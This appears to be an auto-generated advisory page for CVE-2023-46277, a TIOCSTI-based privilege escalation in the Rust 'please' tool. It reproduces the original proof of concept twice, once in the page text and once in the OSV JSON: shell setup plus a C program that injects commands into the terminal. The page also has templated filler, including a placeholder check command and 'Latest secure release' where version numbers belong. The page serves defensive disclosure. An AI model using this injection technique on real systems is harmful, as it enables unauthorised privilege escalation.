CVE-2023-46277: Pleaser Pleaser Privilege Escalation Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-cgf8-h3fp-h956
CVSS 7.8
CWE-269
Published
Advisory Summary

CVE-2023-46277 is a HIGH (CVSS 7.8) pleaser privilege escalation vulnerability vulnerability (CWE-269: Improper Privilege Management) affecting Pleaser libraries in the crates.io ecosystem. The issue involves pleaser privilege escalation vulnerability. Remediation is available in the latest vendor maintenance releases.

CVE-2023-46277 at a Glance

CVE Identifier CVE-2023-46277
GHSA Identifier GHSA-cgf8-h3fp-h956
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-269: Improper Privilege Management
Affected Product Pleaser
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-46277

To remediate this vulnerability, upgrade all affected Pleaser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pleaser fixed: Latest secure release
Upgrade pleaser to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pleaser

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-46277, inspect your project dependencies for Pleaser:

inspect dependencies for pleaser

Analyze the terminal output to locate any version of Pleaser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Pleaser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.) Here is how to see it in action: ``` $ cd "$(mktemp -d)" $ git clone --depth 1 https://gitlab.com/edneville/please.git $ cd please/ $ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9 $ cargo test && cargo build --release $ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini $ sudo chown root:root ./target/release/please $ sudo chmod u+s ./target/release/please $ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c #include <sys/ioctl.h> int main(void) { const char *text = "id\n"; while (*text) ioctl(0, TIOCSTI, text++); return 0; } TIOCSTI_C_EOF $ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c $ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody ``` Please note that: This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

CVE-2023-46277 Affected Pleaser Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pleaser
crates.io
≤ 0.5.4

References

Frequently Asked Questions

What is CVE-2023-46277?
CVE-2023-46277 is a security vulnerability in Pleaser involving Pleaser privilege escalation vulnerability under CWE-269: Improper Privilege Management.
Which Pleaser versions are affected?
Affected versions include releases prior to current release patches across affected packages: pleaser.
What version fixes CVE-2023-46277?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pleaser affected?
Yes, pleaser is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2023-46277?
CVE-2023-46277 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-46277?
CVE-2023-46277 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check crates.io dependencies for CVE-2023-46277?
Run the dependency tree command: 'inspect dependencies for pleaser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cgf8-h3fp-h956",
  "modified" : "2024-09-12T18:41:42Z",
  "published" : "2023-10-20T06:30:19Z",
  "aliases" : [ "CVE-2023-46277" ],
  "summary" : "Pleaser privilege escalation vulnerability",
  "details" : "please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test && cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c\n#include <sys/ioctl.h>\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "pleaser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46277"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustsec/advisory-db/pull/1798"
  }, {
    "type" : "PACKAGE",
    "url" : "https://gitlab.com/edneville/please"
  }, {
    "type" : "WEB",
    "url" : "https://gitlab.com/edneville/please/-/issues/13"
  }, {
    "type" : "WEB",
    "url" : "https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2023-0066.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-10-20T22:37:41Z",
    "nvd_published_at" : "2023-10-20T05:15:08Z"
  }
}